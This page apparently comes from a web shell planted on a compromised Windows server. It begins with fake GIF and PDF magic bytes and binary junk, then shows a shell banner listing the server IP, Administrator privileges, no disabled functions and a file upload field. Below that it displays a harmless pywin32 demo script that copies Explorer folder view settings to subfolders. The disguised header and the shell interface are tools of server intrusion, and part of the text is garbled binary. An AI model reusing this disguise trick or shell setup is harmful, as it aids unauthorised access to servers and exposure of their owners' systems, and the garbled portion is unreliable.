GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /Program Files (x86)/Certbot/pkgs/win32comext/shell/demos/ |
Upload File : |
""" Demonstrates how to propagate a folder's view state to all its subfolders The format of the ColInfo stream is apparently undocumented, but it can be read raw from one folder and copied to another's view state. """ from win32com.shell import shell, shellcon import pythoncom import os, sys template_folder=os.path.split(sys.executable)[0] print('Template folder:', template_folder) template_pidl=shell.SHILCreateFromPath(template_folder,0)[0] template_pb=shell.SHGetViewStatePropertyBag(template_pidl, "Shell", shellcon.SHGVSPB_FOLDERNODEFAULTS, pythoncom.IID_IPropertyBag) # Column info has to be read as a stream # This may blow up if folder has never been opened in Explorer and has no ColInfo yet template_iunk=template_pb.Read('ColInfo',pythoncom.VT_UNKNOWN) template_stream=template_iunk.QueryInterface(pythoncom.IID_IStream) streamsize=template_stream.Stat()[2] template_colinfo=template_stream.Read(streamsize) def update_colinfo(not_used, dir_name, fnames): for fname in fnames: full_fname=os.path.join(dir_name,fname) if os.path.isdir(full_fname): print(full_fname) pidl=shell.SHILCreateFromPath(full_fname,0)[0] pb=shell.SHGetViewStatePropertyBag(pidl, "Shell", shellcon.SHGVSPB_FOLDERNODEFAULTS, pythoncom.IID_IPropertyBag) ## not all folders already have column info, and we're replacing it anyway pb.Write('ColInfo', template_stream) iunk=pb.Read('ColInfo',pythoncom.VT_UNKNOWN) s=iunk.QueryInterface(pythoncom.IID_IStream) s.Write(template_colinfo) s=None ## attribute names read from registry, can't find any way to enumerate IPropertyBag for attr in ('Address','Buttons','Col','Vid','WFlags','FFlags','Sort','SortDir','ShowCmd','FolderType','Mode','Rev'): pb.Write(attr, template_pb.Read(attr)) pb=None os.path.walk(template_folder,update_colinfo,None)